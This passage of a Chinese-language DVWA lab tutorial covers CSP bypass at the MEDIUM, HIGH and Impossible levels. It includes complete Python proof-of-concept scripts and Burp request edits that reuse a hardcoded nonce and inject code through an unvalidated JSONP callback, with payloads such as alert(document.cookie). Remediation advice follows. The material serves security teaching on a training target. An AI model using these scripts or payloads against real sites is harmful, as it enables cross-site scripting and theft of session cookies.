html = self._get("/index.php").text
if self._is_login_page(html):
raise RuntimeError("登录失败:请检查用户名/密码或目标地址")
def set_security(self, level):
"""通过官方 security.php 接口设置安全等级,用 Cookie 校验结果。"""
data = {"security": level, "seclev_submit": "Submit"}
token = self._fetch_token("/security.php")
if token:
data["user_token"] = token
self._post("/security.php", data)
current = self.http.cookies.get("security")
if current != level:
raise RuntimeError(f"安全等级设置失败,Cookie 中 security={current}")
def extract_nonce(csp):
"""从 CSP 策略文本中自适应提取 nonce 值。
逻辑:用正则匹配 'nonce-xxx' 中的 xxx。
提取失败时回退到源码注释里的已知硬编码值(FALLBACK_NONCE),
保证脚本在不同环境下都能继续运行。
"""
m = re.search(r"nonce-([A-Za-z0-9+/=]+)", csp)
return m.group(1) if m else FALLBACK_NONCE
def run(base_url, username, password):
print("[*] 目标地址:", base_url)
print("-" * 60)
# ① 登录并设置安全等级
dvwa = DVWASession(base_url, username, password)
print("[*] 步骤1: 登录 DVWA ...")
dvwa.login()
print("[+] 登录成功")
print("[*] 步骤2: 通过官方接口设置安全等级 medium ...")
dvwa.set_security("medium")
print("[+] 安全等级已设为 medium(Cookie 校验通过)")
print("-" * 60)
# ② 抓取 CSP 响应头,确认缺陷并提取 nonce
print("[*] 步骤3: 获取漏洞页面的 CSP 策略 ...")
csp = dvwa._get("/vulnerabilities/csp/").headers.get(
"Content-Security-Policy", "").strip()
print("[+] CSP 策略:", csp if csp else "(未检测到 CSP 响应头)")
if "unsafe-inline" not in csp:
print("[-] 未检测到 unsafe-inline,当前环境可能不是 MEDIUM 级别,结果需人工复核")
nonce = extract_nonce(csp)
print(f"[+] 自适应提取到 nonce: {nonce}")
print("-" * 60)
# ③ 注入两个对照 payload 并验证回显
print("[*] 步骤4: 注入内联脚本并验证注入点 ...")
payloads = [
("<script>alert('XSS')</script>", "unsafe-inline 注入",
"旧版浏览器将执行;现代浏览器因 nonce 优先规则会忽略 unsafe-inline,可能仅回显不弹窗"),
(f"<script nonce='{nonce}'>alert('Nonce Bypass')</script>",
"硬编码 nonce 重用",
"nonce 来自 CSP 策略本身,各版本浏览器均将执行(可靠绕过路径)"),
]
all_ok = True
for payload, desc, note in payloads:
resp = dvwa._post("/vulnerabilities/csp/", {"include": payload})
if payload in resp.text:
print(f"[+] {desc}: 注入成功 ✅")
print(f" 注入点回显: {payload}")
print(f" {note}")
else:
all_ok = False
print(f"[-] {desc}: 注入失败 ❌(响应中未找到 payload 回显)")
print("-" * 60)
# ④ 结论
print("[*] 结论:")
if all_ok:
print(" MEDIUM 级别 CSP 同时存在 unsafe-inline 与硬编码 nonce,")
print(" 内联脚本可注入且 nonce 可重放,CSP 防线失效 ------ 漏洞存在。")
print(" (现代浏览器上可靠的执行路径是重用硬编码 nonce;弹窗请配合浏览器复核截图)")
else:
print(" 部分注入未回显,请人工复核目标是否处于 MEDIUM 级别。")
def main():
parser = argparse.ArgumentParser(
description="DVWA CSP Bypass MEDIUM 级别 PoC(仅供授权靶场使用)")
parser.add_argument("-t", "--target", default="http://dvwa.cc",
help="DVWA 根地址(默认 http://dvwa.cc)")
parser.add_argument("-u", "--user", default="admin", help="登录用户名")
parser.add_argument("-p", "--password", default="password", help="登录密码")
args = parser.parse_args()
print("⚠️ 警告:本脚本仅供本地授权靶场测试使用!")
print("=" * 60)
try:
run(args.target, args.user, args.password)
except requests.RequestException as e:
print(f"[-] 网络请求失败: {e}")
sys.exit(1)
except RuntimeError as e:
print(f"[-] {e}")
sys.exit(1)
if __name__ == "__main__":
main()
脚本说明和运行结果:
脚本说明
(1)总体思路。 本脚本采用两 payload 对照验证法 :payload A(裸内联脚本)验证 unsafe-inline 的放行效果,payload B(带 nonce 的内联脚本)验证硬编码 nonce 的可重用性。两个 payload 分别对应 CSP 策略中的两处缺陷,任何一条验证通过都足以证明漏洞存在;两条都通过则说明 Medium 级别的内联防护从机制到实现全面失效。
(2)功能模块划分。
| 功能模块 | 说明 |
|---|---|
DVWASession 类 |
与 Low 级别完全复用的会话封装(登录 / 设级 / token 自适应) |
extract_nonce() |
核心新增模块:从 CSP 响应头中正则提取 nonce,失败时回退到已知硬编码值 |
| 环境预检 | 检查响应头中是否含 unsafe-inline,不含则提示环境可能不是 Medium |
主流程 run() |
登录 → 设级 → 抓 CSP 头并提取 nonce → 双 payload 注入 → 回显验证 → 结论 |
说明 :与 Low 脚本最大的区别是 extract_nonce()------nonce 不是写死在脚本里,而是运行时从目标响应中动态获取。这带来两个好处:一是脚本具备通用性(只要目标的 nonce 硬编码在响应头里,脚本就适用);二是提取失败时自动回退到源码注释中的已知值,保证稳健性。
(3)逐步逻辑讲解。
- 首先,登录与设级。 与 Low 级别完全一致:token 自适应提取 + 两步登录 + Cookie 校验设级结果,此处不再赘述。
- 其次,策略确认与 nonce 提取。 脚本 GET 漏洞页取出 CSP 响应头后做两件事:一是检查
unsafe-inline是否存在(环境预检,防止在错误级别上跑出误报);二是用正则nonce-([A-Za-z0-9+/=]+)从策略文本中动态抠出 nonce 值。这个设计模拟了真实攻击者的行为------先观察响应头,再从响应头中提取可重用的令牌。 - 最后,对照注入与回显判定。 脚本把两个 payload 依次 POST 给页面,并在响应 HTML 中查找 payload 原文。由于 Medium 的注入点是"原样插入页面",回显串与 payload 完全一致,判定逻辑因此非常直接:回显即注入成功。
(4)验证判定逻辑。 Medium 级别的注入点会把用户输入原样写进页面,因此"响应中回显了 payload"就等于"payload 已成为页面的一部分";再结合 CSP 响应头中确凿的 unsafe-inline 与可提取的 nonce,浏览器侧的执行条件完全具备------其中 nonce 路径在所有浏览器上都成立,裸内联路径受"nonce 优先规则"影响,在现代浏览器上仅回显、不执行(见 3.4 节步骤 (2) 的说明)。脚本在每条成功输出中都会打印相应的说明,让验证结果"可解释"而不仅仅是"可执行"。

6、AI视角下的 CSP 策略评估
(1)unsafe-inline 的风险评估
MEDIUM 级别的 unsafe-inline 完全破坏了 CSP 的保护。AI 可辅助进行策略安全性评分,重点覆盖三方面:自动检测 unsafe-inline ------在策略解析阶段即识别并告警,这是成本最低、收益最高的检测点;nonce 强度评估 ------分析 nonce 是否足够随机、是否随请求变化,硬编码或可预测的 nonce 一律判定为无效防护;策略推荐------根据应用的实际脚本依赖(如统计、框架脚本)生成"白名单 + 动态 nonce"的替代配置。
(2)AI 辅助的策略优化
在修正建议层面,AI 可从两个方向给出优化路径:动态 nonce 生成 ------推荐在服务端模板引擎中为每次请求生成随机 nonce 并注入到 CSP 头与 <script> 标签两端;unsafe-inline 替代方案 ------对必须内联的脚本,建议用 nonce 或 hash('sha256-...')逐个放行,而不是一刀切地放开所有内联代码。
7、MEDIUM级别------小结
MEDIUM 级别的 CSP 策略存在两个严重问题:
unsafe-inline一旦写入策略,CSP 的内联防护设计即被破坏------现代浏览器虽会因 nonce 存在而忽略它,但它始终是高危配置信号;- nonce 硬编码且公开在源码注释中,攻击者可以直接重用------这也是现代浏览器上唯一稳定的代码执行路径;
- 页面注入点原样渲染用户输入,裸内联与 nonce 重放两条路径均可完成注入。
一句话总结 :MEDIUM 级别的 CSP 策略因
unsafe-inline和硬编码 nonce 而完全失效------正确的机制配上错误的实现,防御力为零。
四、HIGH 级别 ------ JSONP 回调利用
1、漏洞描述
HIGH 级别的 CSP 策略收紧为 script-src 'self',只允许同源脚本,看起来已经相当严格。但页面自身通过 <script> 标签调用同源接口 source/jsonp.php 加载代码,而该 JSONP 接口把 GET 参数 callback 的值原样拼进 JS 响应 。攻击者只要控制 callback 参数,就能让"同源可信脚本"变成任意代码------CSP 管得住外部域名,却管不住同源接口自己吐出的内容。
CSP 策略如下:
text
script-src 'self'
核心机制梳理如下:
- 页面通过
<script src="source/high.js">引入前端逻辑; high.js动态创建<script src='source/jsonp.php?callback=solve'>,以 JSONP 方式加载计算结果;jsonp.php使用$_GET['callback']参数作为回调函数名原样输出;- 由于 jsonp.php 与页面同源,CSP 的
'self'策略不会拦截这次脚本加载。
核心问题梳理如下:
- 首先,JSONP 回调函数名完全由用户控制;
- 其次 ,攻击者可以通过
callback参数注入任意 JavaScript 语句; - 最后 ,CSP 的
'self'策略从设计上就无法防御"同源接口内容可控"这类漏洞。
2、查看网页源代码
php
<?php
$headerCSP = "Content-Security-Policy: script-src 'self';";
header($headerCSP);
?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
" . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>The page makes a call to ' . DVWA_WEB_PAGE_TO_ROOT . '/vulnerabilities/csp/source/jsonp.php to load some code. Modify that page to run your own code.</p>
<p>1+2+3+4+5=<span id="answer"></span></p>
<input type="button" id="solve" value="Solve the sum" />
</form>
<script src="source/high.js"></script>
';
vulnerabilities/csp/source/high.js
function clickButton() {
var s = document.createElement("script");
s.src = "source/jsonp.php?callback=solveSum";
document.body.appendChild(s);
}
function solveSum(obj) {
if ("answer" in obj) {
document.getElementById("answer").innerHTML = obj['answer'];
}
}
var solve_button = document.getElementById ("solve");
if (solve_button) {
solve_button.addEventListener("click", function() {
clickButton();
});
}
3、分析网页源代码
(1)CSP 策略分析
text
script-src 'self'
这个策略只允许同源脚本,是最小化白名单的正确实践------但它只约束了"脚本从哪里加载",不约束"脚本内容是什么"。
(2)漏洞分析
① 漏洞一 ------ JSONP 回调函数可控。
问题分析:jsonp.php 把 callback 参数的值原样输出为 JS 响应的开头(实测响应格式为 callback(数据)、末尾无分号,如 solveSum({"answer":"15"}))。攻击者把 callback=solveSum 改成 callback=alert('XSS'),浏览器收到的响应就变成 alert('XSS')({"answer":"15"})------alert 会先执行弹窗,随后才因 alert 的返回值不是函数而抛出 TypeError,但不影响弹窗效果;且响应来自同源,CSP 不会拦截。
② 漏洞二 ------ high.js 中的 JSONP 调用把接口"喂"给了浏览器。
问题分析:high.js 动态创建 <script> 标签请求 jsonp.php,这一行为向攻击者"演示"了接口的正确用法。攻击者甚至不需要自己构造 script 标签,直接在地址栏或 Burp 中请求 jsonp.php?callback=<恶意代码>,再想办法让浏览器以脚本形式加载它即可。
③ 漏洞三 ------ 同源策略不防御同源 JSONP 漏洞。
问题分析:CSP 的 'self' 允许所有同源脚本。信任边界画在"域名"这一层,而 JSONP 漏洞恰好发生在同源内部------这是 CSP 的结构性盲区,也是 HIGH 级别想传达的核心思想。
4、操作步骤
(1)观察 CSP 策略
- 将安全级别设置为 High;
- 进入 CSP Bypass 模块;
- 按 F12 查看 CSP 响应头。
预期结果:可以看到 Content-Security-Policy: script-src 'self'。

(2)分析 high.js 的 JSONP 调用
- 按 F12 打开开发者工具,切换到 Sources 标签页;
- 找到
source/high.js文件; - 分析其中的 JSONP 调用逻辑,确认接口地址与
callback参数名。

(3)利用 JSONP 回调注入(Burp 拦截改包)
先明确一个前提 :与 LOW / MEDIUM 不同,HIGH 级别的页面上没有任何输入框 (4.2 节源码中的表单只有 Solve the sum 按钮)。页面唯一"以脚本形式加载代码"的时机,就是点击按钮后 high.js 发起的那次 JSONP 请求。因此本级别的注入只能通过代理工具拦截并改写这次请求。以 Burp Suite 为例,完整步骤如下:
-
配置代理 :Burp Suite 默认监听
127.0.0.1:8080,将浏览器代理指向该地址; -
开启拦截 :切换到 Proxy → Intercept ,确保 Intercept is on;
-
触发请求 :回到 DVWA 的 CSP Bypass 页面,点击 Solve the sum 按钮;
-
改写参数 :Burp 会拦截到一条 GET 请求,把它从
textGET /vulnerabilities/csp/source/jsonp.php?callback=solveSum HTTP/1.1改为
textGET /vulnerabilities/csp/source/jsonp.php?callback=alert('XSS') HTTP/1.1 -
放行 :点击 Forward ,让修改后的响应顺着页面原有的
<script>标签加载执行。
预期结果:弹窗显示 XSS------浏览器把响应 alert('XSS')({"answer":"15"}) 当作同源脚本执行(alert 先弹窗,随后控制台可能出现 TypeError,不影响绕过成立)。
⚠️ 两个常见误区 :
① 不要直接在浏览器地址栏访问该 URL ------地址栏访问是把响应当作 HTML 文档渲染 ,其中的 JavaScript 不会执行,因此不会弹窗;
② HIGH 页面没有 include 输入框是正常现象------本级别把"现成的注入点"也封掉了,攻击者只能劫持页面自己发起的同源请求,这正是 HIGH 想考察的攻防思路。
(4)替代路径------用 Burp Repeater 手工构造 POST
除了拦截改包,还可以利用 4.2 节源码中保留的 include 插入逻辑:页面上虽然没有输入框,但可以用 Burp 的 Repeater 手工构造 POST 请求,让服务器把指向恶意 JSONP 的 <script> 标签原样插回页面:
-
在 Burp Proxy 的 HTTP history 中找到任意一条对
http://dvwa.cc/vulnerabilities/csp/的请求,右键 Send to Repeater; -
把请求方法改为 POST ,并在请求体(头部空行之后)加入:
textinclude=<script src='source/jsonp.php?callback=alert(1)'></script> -
点击 Send ,Response 面板中可以看到该
<script>标签被原样插入页面 HTML; -
右键 Response 面板选择 Show response in browser,按提示复制临时链接在浏览器中打开(复用当前会话),浏览器渲染该页面时即执行插入的标签。
预期结果:弹窗显示 1。这条路径说明:即使页面移除了输入框,只要服务端的插入逻辑还在,注入面就仍然存在。
5、Python------PoC脚本
python
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
====================================================================
DVWA CSP Bypass ------ HIGH 级别 PoC(JSONP 回调利用)
--------------------------------------------------------------------
漏洞原理:
HIGH 级别 CSP 策略为 script-src 'self',看似无懈可击。
但页面自身通过 <script src='source/jsonp.php?callback=solveSum'>
的方式加载同源 JSONP 接口,而 jsonp.php 会把 GET 参数 callback
的值原样拼进 JS 响应:callback 是什么,浏览器就执行什么。
由于 jsonp.php 与页面同源,'self' 策略不会拦截 ------ CSP 被绕过。
验证方法(同源接口回显验证):
① 登录 DVWA,通过官方接口把安全等级设为 high;
② 读取漏洞页 CSP 响应头,确认策略为 script-src 'self';
③ 直接请求同源接口 source/jsonp.php?callback=<恶意JS表达式>,
检查响应体是否原样返回恶意代码;
响应回显 + 接口同源可加载 ⇒ 浏览器必然执行 ⇒ 漏洞成立。
边界说明:
requests 只能验证"注入点可控"(服务端把恶意 callback 原样
写进 JS 响应)。真实浏览器中的弹窗属于前端行为,请配合
Burp Suite 抓包改包,或通过漏洞页输入框以脚本形式加载复核
并截图(直接在地址栏访问该 URL 属于 HTML 渲染,不会弹窗)。
使用方法:
python poc_csp_high.py -t http://dvwa.cc [-u admin] [-p password]
免责声明:本脚本仅供本地授权靶场测试使用,禁止用于未授权目标!
====================================================================
"""
import argparse
import re
import sys
import requests
# 待测 callback payload:拼进 JSONP 响应后即成为可执行的 JS 语句
PAYLOADS = [
("基础弹窗", "alert('XSS')"),
("读取 Cookie", "alert(document.cookie)"),
]
class DVWASession:
"""DVWA 会话封装:登录、安全等级设置等前置操作统一在此完成。"""
TOKEN_RE = re.compile(
r"name=['\"]user_token['\"]\s*value=['\"]([0-9a-f]{32})['\"]", re.I
)
def __init__(self, base_url, username, password):
self.base_url = base_url.rstrip("/")
self.username = username
self.password = password
self.http = requests.Session()
self.http.headers.update({"User-Agent": "Mozilla/5.0 (DVWA-CSP-PoC)"})
# ---------------- 内部工具 ----------------
def _get(self, path, **kw):
return self.http.get(self.base_url + path, timeout=10, **kw)
def _post(self, path, data, **kw):
return self.http.post(self.base_url + path, data=data, timeout=10, **kw)
def _fetch_token(self, path):
"""访问指定页面并提取 user_token;取不到返回 None(自适应)。"""
html = self._get(path).text
m = self.TOKEN_RE.search(html)
return m.group(1) if m else None
def _is_login_page(self, html):
return bool(re.search(r"name=['\"]username['\"]", html))
# ---------------- 前置步骤 ----------------
def login(self):
"""两步登录:先取登录页 token,再携带 token 提交账号密码。"""
data = {"username": self.username, "password": self.password,
"Login": "Login"}
token = self._fetch_token("/login.php")
if token:
data["user_token"] = token
self._post("/login.php", data)
html = self._get("/index.php").text
if self._is_login_page(html):
raise RuntimeError("登录失败:请检查用户名/密码或目标地址")
def set_security(self, level):
"""通过官方 security.php 接口设置安全等级,用 Cookie 校验结果。"""
data = {"security": level, "seclev_submit": "Submit"}
token = self._fetch_token("/security.php")
if token:
data["user_token"] = token
self._post("/security.php", data)
current = self.http.cookies.get("security")
if current != level:
raise RuntimeError(f"安全等级设置失败,Cookie 中 security={current}")
def run(base_url, username, password):
print("[*] 目标地址:", base_url)
print("-" * 60)
# ① 登录并设置安全等级
dvwa = DVWASession(base_url, username, password)
print("[*] 步骤1: 登录 DVWA ...")
dvwa.login()
print("[+] 登录成功")
print("[*] 步骤2: 通过官方接口设置安全等级 high ...")
dvwa.set_security("high")
print("[+] 安全等级已设为 high(Cookie 校验通过)")
print("-" * 60)
# ② 抓取 CSP 响应头,确认 'self' 策略
print("[*] 步骤3: 获取漏洞页面的 CSP 策略 ...")
csp = dvwa._get("/vulnerabilities/csp/").headers.get(
"Content-Security-Policy", "").strip()
print("[+] CSP 策略:", csp if csp else "(未检测到 CSP 响应头)")
if "'self'" not in csp:
print("[-] 未检测到 script-src 'self',当前环境可能不是 HIGH 级别,结果需人工复核")
print("-" * 60)
# ③ 逐条请求同源 JSONP 接口,验证 callback 参数可控
jsonp_url = "/vulnerabilities/csp/source/jsonp.php"
print("[*] 步骤4: 请求同源 JSONP 接口并注入恶意 callback ...")
all_ok = True
for desc, payload in PAYLOADS:
resp = dvwa._get(jsonp_url, params={"callback": payload})
body = resp.text.strip()
if body.startswith(payload):
print(f"[+] {desc}: callback 注入成功 ✅")
print(f" 响应内容: {body[:120]}")
print(" 接口与页面同源,'self' 策略不拦截 ⇒ 浏览器将以同源 JS 执行")
else:
all_ok = False
print(f"[-] {desc}: 注入失败 ❌(响应未回显恶意 callback)")
print(f" 实际响应: {body[:120]}")
print("-" * 60)
# ④ 结论
print("[*] 结论:")
if all_ok:
print(" HIGH 级别虽为 script-src 'self',但同源 JSONP 接口的")
print(" callback 参数完全可控,CSP 仍被绕过 ------ 漏洞存在。")
print(" (浏览器端弹窗效果请在浏览器/Burp 中复核并截图)")
else:
print(" 部分注入未回显,请人工复核目标是否处于 HIGH 级别。")
def main():
parser = argparse.ArgumentParser(
description="DVWA CSP Bypass HIGH 级别 PoC(仅供授权靶场使用)")
parser.add_argument("-t", "--target", default="http://dvwa.cc",
help="DVWA 根地址(默认 http://dvwa.cc)")
parser.add_argument("-u", "--user", default="admin", help="登录用户名")
parser.add_argument("-p", "--password", default="password", help="登录密码")
args = parser.parse_args()
print("⚠️ 警告:本脚本仅供本地授权靶场测试使用!")
print("=" * 60)
try:
run(args.target, args.user, args.password)
except requests.RequestException as e:
print(f"[-] 网络请求失败: {e}")
sys.exit(1)
except RuntimeError as e:
print(f"[-] {e}")
sys.exit(1)
if __name__ == "__main__":
main()
脚本说明和运行结果:
脚本说明
(1)总体思路。 HIGH 级别的注入点不在漏洞页的表单里,而在同源 JSONP 接口的 query 参数 上。因此脚本不再向 /vulnerabilities/csp/ POST payload,而是直接 GET 请求 source/jsonp.php ,把恶意代码塞进 callback 参数,验证服务端是否原样回显。这体现了 PoC 编写的一个重要原则:注入点在哪,验证请求就打到哪。
(2)功能模块划分。
| 功能模块 | 说明 |
|---|---|
DVWASession 类 |
与前两级完全复用的会话封装(登录 / 设级 / token 自适应) |
| 环境预检 | 确认响应头为 script-src 'self',防止在错误级别上误判 |
| JSONP 验证器 | GET 请求 jsonp.php?callback=<payload>,检查响应体是否以恶意代码开头 |
主流程 run() |
登录 → 设级 → 抓 CSP 头 → 逐条验证 callback 回显 → 结论 |
说明:会话层代码三份脚本完全一致(这正是"模块复用"的价值),级别差异只体现在验证逻辑上------LOW 验证 script 标签回显,MEDIUM 验证内联代码回显,HIGH 验证 JSONP 接口回显。
(3)逐步逻辑讲解。
- 首先,登录与设级。 同样是"token 自适应提取 + 两步登录 + Cookie 校验"三件套,确保脚本运行在 HIGH 级别环境上。
- 其次,策略确认。 脚本检查 CSP 响应头确实是
script-src 'self'。这一步既是对环境的预检,也在输出中刻意呈现"策略看起来很严格"这一事实,为后面"严格策略仍被绕过"的结论做铺垫。 - 最后,JSONP 接口验证。 对每条 payload,脚本用
params={"callback": payload}请求jsonp.php(requests 会自动完成 URL 编码),然后检查响应体是否以恶意代码开头 。DVWA 的 jsonp.php 会输出callback(数据)形式的响应(实测为solveSum({"answer":"15"}),末尾无分号),所以"响应以 payload 开头"即证明 callback 参数被原样拼进了可执行的 JS 上下文。
(4)验证判定逻辑与边界。 需要特别说明的是:requests 是纯 HTTP 客户端,不会像浏览器那样把响应当作脚本去执行 。因此本脚本的判定依据是"服务端回显"------恶意 callback 被原样写进 JS 响应,加上"该响应来自同源、'self' 不拦截"这一 CSP 事实,浏览器侧的执行是必然结果。脚本在边界说明中明确标注了这一局限,真实弹窗请用浏览器或 Burp 复核。

6、AI视角下的 CSP 策略评估
(1)JSONP 漏洞的智能检测
HIGH 级别的 JSONP 漏洞源于回调函数名可控,这类漏洞的检测高度依赖"数据流分析",恰好是 AI 与自动化工具的优势场景:回调函数检测 ------扫描 JSONP 接口,判断 callback 等参数是否未经校验直接进入响应体;注入模式识别 ------用模糊测试(fuzzing)向 callback 参数注入 JS 片段,根据响应回显判定可控性;同源策略评估 ------枚举站点内所有"内容类型为 JavaScript 且内容由请求参数决定"的同源接口,评估其在 CSP 'self' 策略下的暴露面。
(2)AI 辅助的策略优化
在修复建议层面,AI 可从两个方向收敛风险:JSONP 安全建议 ------优先改用 CORS + fetch 取代 JSONP;若必须保留,则对回调名做白名单正则校验(如仅允许 ^[A-Za-z_$][\w$]*$)。CSP 增强建议 ------在 'self' 基础上叠加动态 nonce,把"信任同源"进一步收窄为"信任带 nonce 的指定脚本",缩小同源接口被滥用时的爆炸半径。
7、HIGH级别------小结
HIGH 级别的 CSP 策略(script-src 'self')比 LOW 和 MEDIUM 严格得多,但仍可通过同源 JSONP 漏洞绕过:
- JSONP 回调函数名完全由用户控制;
- 攻击者可以通过
callback参数执行任意代码; - 同源策略的信任边界是"域名",防不住"同源接口内容可控"。
一句话总结 :HIGH 级别的 CSP 策略虽然只信任
'self',但同源 JSONP 漏洞让"可信的同源"本身变成了攻击载荷的来源------CSP 严格 ≠ 应用安全。
五、Impossible 级别 ------ 硬编码回调函数
1、漏洞描述
Impossible 级别在 HIGH 级别的基础上补上了最后一块短板:硬编码 JSONP 的回调函数名 。攻击者无法通过 callback 参数注入恶意代码,同源 JSONP 接口从"可控的代码执行点"退化为"只返回数据的普通接口"。
CSP 策略如下:
text
script-src 'self'
核心安全改进梳理如下:
- 首先,回调函数名硬编码在前端 JavaScript 中,不支持用户自定义;
- 其次 ,服务端不再接受用户传入的
callback参数,用户输入与代码执行彻底解耦; - 最后 ,外部脚本来源被
'self'严格限制,且无unsafe-inline,内联注入同样无效。
2、查看网页源代码
php
<?php
$headerCSP = "Content-Security-Policy: script-src 'self';";
header($headerCSP);
?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
" . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>Unlike the high level, this does a JSONP call but does not use a callback, instead it hardcodes the function to call.</p><p>The CSP settings only allow external JavaScript on the local server and no inline code.</p>
<p>1+2+3+4+5=<span id="answer"></span></p>
<input type="button" id="solve" value="Solve the sum" />
</form>
<script src="source/impossible.js"></script>
';
vulnerabilities/csp/source/impossible.js
function clickButton() {
var s = document.createElement("script");
s.src = "source/jsonp_impossible.php";
document.body.appendChild(s);
}
function solveSum(obj) {
if ("answer" in obj) {
document.getElementById("answer").innerHTML = obj['answer'];
}
}
var solve_button = document.getElementById ("solve");
if (solve_button) {
solve_button.addEventListener("click", function() {
clickButton();
});
}
3、分析网页源代码
(1)CSP 策略分析
Impossible 级别的 CSP 策略与 HIGH 级别完全相同,均为 script-src 'self'。这说明 Impossible 的安全并不来自更严格的 CSP,而来自应用层消除了 CSP 无法覆盖的缺陷。
(2)安全分析
| 安全措施 | 实现方式 | 防御效果 |
|---|---|---|
| 硬编码回调函数 | 专用接口 jsonp_impossible.php 不读取任何参数,响应前缀固定为 solveSum ( |
攻击者无法控制回调函数 |
'self' 策略 |
仅允许同源脚本 | 限制外部脚本来源 |
无 unsafe-inline |
禁止内联脚本 | 防止直接注入 <script> 标签 |
表 5-1 说明 :三道防线分别封堵了本实验前三个级别的攻击路径------硬编码回调封堵 HIGH 的 JSONP 注入,'self' 封堵 LOW 的外域脚本加载,禁用 unsafe-inline 封堵 MEDIUM 的内联注入。每一级实验对应的攻击手法,在 Impossible 里都有一道针对性防线。
(3)为什么 Impossible 级别是安全的?
关键在于"信任链的每一环都不可控":
- JSONP 调用使用硬编码的回调函数名(如
solveSum),攻击者无法通过callback参数注入代码; - CSP 的
'self'策略把脚本来源限制为同源; - 没有
unsafe-inline,内联脚本无法执行; - 即使注入点仍会把用户输入写进页面,浏览器也不会执行任何不符合策略的代码。
4、### AI 视角下的安全性验证
前三个级别的方法论第④步是"手工验证利用",而 Impossible 级别没有输入框、没有可控参数,手工渗透在此无拳可挥 ------这恰恰是 AI / 自动化验证的主场:把"证明安全"变成一场可度量、可复现的穷举测试。本报告验证阶段即按"侦察 → 探针 → 判定"三步由 AI 代理自动完成。
(1)自动化侦察:收集策略与攻击面
AI 代理通过 HTTP 请求与 DOM 解析自动完成信息收集:
- 读取 CSP 响应头 :
script-src 'self';------与 HIGH 相同,无unsafe-inline; - 解析页面结构 :整个漏洞区域没有任何输入框 ,仅有一个 Solve the sum 按钮------注入点数量为 0;
- 枚举脚本资源 :页面只加载自家的
source/impossible.js,追踪其调用链后定位到唯一数据接口jsonp_impossible.php。
预期结果:攻击面清单近乎为空------既没有可控输入点,也没有携带可控参数的接口。
(2)自动化注入测试:探针 + 模糊测试
对剩余的两个理论攻击面,AI 代理分别投放自动探针:
-
内联脚本探针 :向 DOM 注入一条无 nonce 的内联脚本,并在脚本内设置副作用标记(如修改页面标题),通过检测标记是否出现来判定执行结果------实测标记未出现,判定拦截 (控制台同步报出
Refused to execute inline script违规):javascriptvar s = document.createElement('script'); s.textContent = "alert('XSS')"; document.body.appendChild(s); -
接口模糊测试 :向
jsonp_impossible.php提交变异参数?callback=alert(1),将响应与基线请求逐字比对------实测两者完全相同 (均为solveSum ({"answer":"15"})),判定服务端根本不读取该参数。
预期结果:两类探针全部呈"阴性",防御行为与策略声明完全一致。
(3)自动化判定与 AI 点评
| 验证项 | 测试方法 | 实测结果 | 判定 |
|---|---|---|---|
| 注入点数量 | DOM 全量解析 | 0 个输入框 | 无攻击入口 |
| 内联脚本执行 | DOM 探针 + 副作用标记 | 标记未出现 | 被 CSP 拦截 |
| JSONP 回调可控性 | 参数模糊测试 + 响应比对 | 响应逐字不变 | 服务端硬编码 |
表 5-2 说明 :三项验证全部"阴性",据此自动得出结论------不存在可利用路径,本级别无需编写 PoC 脚本,这正是"Impossible"的含义。
AI 视角点评 :Impossible 级别的"安全"对自动化工具而言是一条"阴性结论",而阴性结论的可信度取决于测试覆盖面。AI 的价值在于把覆盖面标准化------策略解析、注入点枚举、探针投放、参数模糊测试在数秒内完成且完全可复现,避免了人工测试"漏测一处就误判安全"的风险。
5、Impossible级别------小结
Impossible 级别展示了 CSP 防御的正确打开方式:
- 硬编码回调函数 :防止通过
callback参数注入恶意代码; 'self'策略:限制脚本来源为同源;- 禁止
unsafe-inline:防止内联脚本执行。
一句话总结:Impossible 级别通过"应用层消除可控点 + 传输层严格 CSP"的双保险,使 CSP 绕过攻击真正变得 "Impossible"。
六、LOW vs MEDIUM vs HIGH vs Impossible:防御演进对比
1、防护策略演进对比
| 防护维度 | LOW 级别 | MEDIUM 级别 | HIGH 级别 | Impossible 级别 |
|---|---|---|---|---|
| CSP 策略 | 白名单过宽 | unsafe-inline + 硬编码 nonce |
script-src 'self' |
script-src 'self' |
| 用户输入控制 | 可控(<script src>) |
可控(直接插入页面) | 可控(JSONP callback) | 不可控(硬编码) |
unsafe-inline |
❌ 无 | ✅ 有(严重风险) | ❌ 无 | ❌ 无 |
| nonce 安全 | N/A | ❌ 硬编码 | N/A | N/A |
| JSONP 风险 | N/A | N/A | ⚠️ callback 可控 | ✅ 硬编码回调 |
| 防御结论 | 白名单失控 | 策略配置错误 | 同源接口缺陷 | 硬编码 + 严格策略 |
说明 :纵向看,四个级别的 CSP 策略文本其实越来越"像样",但 HIGH 级别证明策略文本严格不代表系统安全------应用层留下的可控点(JSONP callback)照样能把 CSP 架空。
2、攻击面变化分析
| 攻击类型 | LOW | MEDIUM | HIGH | Impossible |
|---|---|---|---|---|
| 内联脚本注入 | ❌ 被 CSP 阻止 | ✅ unsafe-inline 允许 |
❌ 被 CSP 阻止 | ❌ 被 CSP 阻止 |
| 外部脚本注入 | ✅ 白名单域名可用 | ❌ 无外域白名单 | ❌ 仅同源 | ❌ 仅同源 |
| JSONP 回调注入 | N/A | N/A | ✅ callback 可控 | ❌ 硬编码回调 |
| nonce 重用 | N/A | ✅ 硬编码可重用 | N/A | N/A |
| 白名单域名利用 | ✅ 多个可用 | ❌ 不适用 | ❌ 不适用 | ❌ 不适用 |
说明 :从左到右,攻击面逐级收窄;从上到下,每一行"✅"的消失都对应着一类防御措施的到位。这张表也可以反过来当作加固清单使用------只要任何一行还留着"✅",就说明系统仍存在对应类别的攻击面。
3、防御策略演进路径
text
LOW 级别 MEDIUM 级别 HIGH 级别
│ │ │
│ ⚠️ 白名单过宽 │ ❌ unsafe-inline │ ✅ 'self' 策略
│ ⚠️ 10 个域名 │ ❌ 硬编码 nonce │ ⚠️ JSONP 漏洞
│ │ │
▼ ▼ ▼
"白名单失控"阶段 "错误配置"阶段 "同源漏洞"阶段
攻击成本:低 攻击成本:极低 攻击成本:中
Impossible 级别
┌─────────────────────────────────┐
│ ✅ 'self' 严格策略 │
──► │ ✅ 硬编码回调函数 │
│ ✅ 无 unsafe-inline │
│ ✅ 用户输入不可控 │
└─────────────────────────────────┘
│
▼
"安全配置"阶段
攻击成本:极高
